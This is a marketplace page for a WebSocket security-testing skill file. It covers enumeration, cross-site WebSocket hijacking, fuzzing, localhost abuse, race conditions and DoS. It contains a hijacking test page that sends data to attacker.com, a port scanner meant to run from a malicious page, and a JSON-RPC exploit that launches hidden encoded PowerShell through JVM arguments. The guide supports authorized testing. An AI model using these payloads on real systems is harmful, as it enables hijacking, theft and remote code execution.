websocket-security-testing

Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.

跳到安装

仓库: abelrguezr/hacktricks-skills
最近来源活动: 2026年3月23日 14:29
检测到的 SKILL.md 语言: 英语
星标: 21
分支: 8

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

用 Codex 或 Claude 帮你安装复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。

直接命令不会经过审查 Prompt；运行前请先检查来源。

npx skills add https://github.com/abelrguezr/hacktricks-skills --skill websocket-security-testing

命令会保持在同一行。复制前请横向滚动并检查完整内容。

想先保存到本地？可下载 SkillsMP 当前能够提供的文件。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

文件资源管理器

5 个文件

SKILL.md

来源说明 · 只读预览

返回搜索返回安装

ai-fuzzing-assistant

AI-assisted fuzzing and vulnerability discovery. Use this skill whenever the user wants to generate fuzzing seeds, evolve grammars, analyze crashes, create proof-of-vulnerability exploits, or generate patches for discovered bugs. Trigger on mentions of fuzzing, AFL++, libFuzzer, vulnerability discovery, crash analysis, exploit generation, or security testing with LLMs.

2026-03-23

burp-mcp-integration

Set up and use Burp Suite's MCP Server extension to enable LLM-assisted passive vulnerability discovery. Use this skill whenever the user wants to integrate Burp with MCP-capable AI tools (Codex, Gemini, Ollama, Claude), configure the MCP proxy, troubleshoot handshake issues, or analyze intercepted HTTP traffic for security findings. Trigger on mentions of Burp MCP, Burp AI Agent, MCP proxy setup, or LLM-assisted traffic review.

2026-03-23

deep-learning-helper

Help users understand and implement deep learning concepts including neural networks, CNNs, RNNs, LLMs, and diffusion models. Use this skill whenever the user asks about deep learning architectures, wants to build neural networks in PyTorch, needs help with training loops, or wants to understand concepts like backpropagation, activation functions, attention mechanisms, or generative models. Make sure to use this skill for any deep learning related questions, code reviews, architecture design, or implementation help.

2026-03-23

查看这个仓库的全部 Skills

name	websocket-security-testing
description	Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.

WebSocket Security Testing

A comprehensive skill for testing WebSocket implementations for security vulnerabilities.

When to Use This Skill

Use this skill when:

Testing WebSocket endpoints (ws:// or wss://) for security issues
Auditing real-time communication channels in web applications
Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
Fuzzing WebSocket messages for injection vulnerabilities
Testing localhost WebSocket services exposed by desktop applications
Analyzing WebSocket race conditions or DoS vectors

Quick Start

# Basic WebSocket connection test
websocat --insecure wss://target.com/ws

# WebSocket enumeration with STEWS
stews --url wss://target.com/ws --scan

# Localhost port discovery (Chromium-based browsers)
# Run from a malicious page to find exposed WebSocket services

WebSocket Fundamentals

Connection Establishment

WebSocket connections start with an HTTP handshake:

GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-random>
Connection: Upgrade
Upgrade: websocket

Key headers to examine:

Sec-WebSocket-Key: Unique per handshake (not for auth)
Sec-WebSocket-Accept: Server's hash response
Origin: Should be validated by server
Cookie: Often used for authentication (CSWSH risk)

Protocol Variants

Protocol	Description
`ws://`	Unencrypted WebSocket
`wss://`	TLS-encrypted WebSocket
Socket.IO	WebSocket with custom framing (`EIO=4` parameter)

Enumeration

Manual Discovery

Find WebSocket endpoints:
- Search JavaScript files for new WebSocket(
- Look for ws:// or wss:// in network traffic
- Check for Socket.IO patterns (socket.io, EIO=)

Use automated tools:

# STEWS - WebSocket vulnerability scanner
stews --url wss://target.com/ws --scan

# websocat - Raw connection testing
websocat --insecure wss://target.com/ws -v

Tools Reference

Tool	Purpose
STEWS	Automated vulnerability scanning
websocat	CLI WebSocket client/server
Burp Suite	Proxy with WebSocket support
socketsleuth	Burp extension for WebSocket history
WSSiP	WebSocket/Socket.IO proxy
wsrepl	Interactive WebSocket REPL
WebSocket Turbo Intruder	High-rate fuzzing

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

CSWSH is possible when:

Authentication uses cookies only (no CSRF tokens)
Cookie has SameSite=None or is missing SameSite
Server doesn't validate Origin header
Browser allows third-party cookies

Test Script

Create a test page to check for CSWSH:

<!DOCTYPE html>
<html>
<head><title>CSWSH Test</title></head>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = () => {
  console.log('WebSocket connected - CSWSH may be possible');
  ws.send('READY'); // Trigger response
};

ws.onmessage = (event) => {
  console.log('Received:', event.data);
  // Exfiltration test (no-cors mode)
  fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data), 
        {mode: 'no-cors'});
};

ws.onerror = (err) => console.error('Connection failed:', err);
</script>
</body>
</html>

Mitigations to Verify

Protection	How to Check
Origin validation	Server rejects requests with mismatched Origin
CSRF tokens	WebSocket requires token in message or query param
SameSite cookies	Cookies have `SameSite=Lax` or `SameSite=Strict`
Token auth	Authentication via header/token, not cookies

Fuzzing with Turbo Intruder

Basic Fuzzing Script

def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    for i in range(10):
        connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@MatchRegex(r'{"user":".*"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Socket.IO Fuzzing

Socket.IO requires special handling:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
    # Add EIO parameter for Socket.IO
    connection = websocket_connection.create(
        upgrade_request.withUpdatedParameters(
            HttpParameter.urlParameter("EIO", "4")
        )
    )
    # Keep session alive
    connection.queue('40')  # Open
    connection.queue('42["message","hello"]')  # Event

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

HTTP Middleware Pattern

Bridge WebSocket to HTTP for scanner compatibility:

def create_connection(upgrade_request):
    connection = websocket_connection.create(upgrade_request)
    return connection

@MatchRegex(r'{"user":"You"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Then send HTTP requests:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"test"}

Localhost WebSocket Abuse

Port Discovery

Desktop applications often expose WebSocket services on localhost:

async function findLocalWs(start = 20000, end = 36000) {
  for (let port = start; port <= end; port++) {
    await new Promise((resolve) => {
      const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
      let settled = false;
      const finish = () => { 
        if (!settled) { settled = true; resolve(); } 
      };
      ws.onerror = ws.onclose = finish;
      ws.onopen = () => {
        console.log(`Found WebSocket on port ${port}`);
        ws.close();
        finish();
      };
    });
  }
}

JSON-RPC Exploitation

Many localhost services use JSON-RPC:

// Example: CurseForge-style exploitation
const ws = new WebSocket('ws://127.0.0.1:PORT/');

ws.onopen = () => {
  // Step 1: Create resource
  ws.send(JSON.stringify({
    type: 'method',
    name: 'createModpack',
    args: {}
  }));
};

ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  if (data.MinecraftInstanceGuid) {
    // Step 2: Launch with malicious args
    ws.send(JSON.stringify({
      type: 'method',
      name: 'minecraftTaskLaunchInstance',
      args: {
        MinecraftInstanceGuid: data.MinecraftInstanceGuid,
        AdditionalJavaArguments: [
          '-XX:MaxMetaspaceSize=16m',
          '-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."'
        ]
      }
    }));
  }
};

Race Conditions

Testing Approach

Use THREADED engine for race condition testing:

# Configure for parallel connections
def config():
    return {
        'engine': 'THREADED',
        'concurrency': 100
    }

def queue_websockets(upgrade_request, message):
    # Each connection fires independently
    connection = websocket_connection.create(upgrade_request)
    connection.queue(message)

Common Race Scenarios

Double-spend attacks
Token reuse
State desynchronization
Authentication bypass

DoS Testing

Ping of Death

Craft malformed frames to test server resilience:

# Example: Large payload length with no body
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    # Set payload length near Integer.MAX_VALUE
    # Server may pre-allocate buffer and crash

Warning: Only test with authorization. High-rate fuzzing can cause real DoS.

Other Vulnerabilities

Input Validation

WebSockets can carry the same vulnerabilities as HTTP:

XSS: Malicious payloads in WebSocket messages
SQLi: User input in database queries
Command Injection: Shell commands in message data
Prototype Pollution: __proto__ in JSON messages

Prototype Pollution Detection

{"__proto__":{"initialPacket":"Polluted"}}

If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.

WebSocket Smuggling

Bypass reverse proxies by faking WebSocket handshakes:

GET / HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: <key>
Sec-WebSocket-Version: 13

[Malformed body to confuse proxy]

Testing Workflow

Reconnaissance
- Find WebSocket endpoints in JS files
- Map authentication mechanisms
- Identify protocol (WebSocket vs Socket.IO)
Enumeration
- Run STEWS for automated scanning
- Test with websocat for manual exploration
- Capture legitimate traffic for protocol analysis
Vulnerability Testing
- Test for CSWSH (cookie auth + no Origin check)
- Fuzz messages for injection vulnerabilities
- Check for race conditions with parallel connections
- Test localhost services if applicable
Documentation
- Record all findings with evidence
- Include reproduction steps
- Suggest mitigations

Safety Guidelines

Authorization required: Only test systems you own or have permission to test
Rate limiting: High-rate fuzzing can cause DoS
Malformed frames: May crash servers
Data handling: WebSocket messages may contain sensitive data

websocket-security-testing

来源信息

安装方式

检查来源文件

同仓库更多 Skills

同仓库更多 Skills

WebSocket Security Testing

When to Use This Skill

Quick Start

WebSocket Fundamentals

Connection Establishment

Protocol Variants

Enumeration

Manual Discovery

Tools Reference

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

Test Script

Mitigations to Verify

Fuzzing with Turbo Intruder

Basic Fuzzing Script

Socket.IO Fuzzing

HTTP Middleware Pattern

Localhost WebSocket Abuse

Port Discovery

JSON-RPC Exploitation

Race Conditions

Testing Approach

Common Race Scenarios

DoS Testing

Ping of Death

Other Vulnerabilities

Input Validation

Prototype Pollution Detection

WebSocket Smuggling

Testing Workflow

Safety Guidelines

References

WebSocket Security Testing

When to Use This Skill

Quick Start

WebSocket Fundamentals

Connection Establishment

Protocol Variants

Enumeration

Manual Discovery

Tools Reference

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

Test Script

Mitigations to Verify

Fuzzing with Turbo Intruder

Basic Fuzzing Script

Socket.IO Fuzzing

HTTP Middleware Pattern

Localhost WebSocket Abuse

Port Discovery

JSON-RPC Exploitation

Race Conditions

Testing Approach

Common Race Scenarios

DoS Testing

Ping of Death

Other Vulnerabilities

Input Validation

Prototype Pollution Detection

WebSocket Smuggling

Testing Workflow

Safety Guidelines

References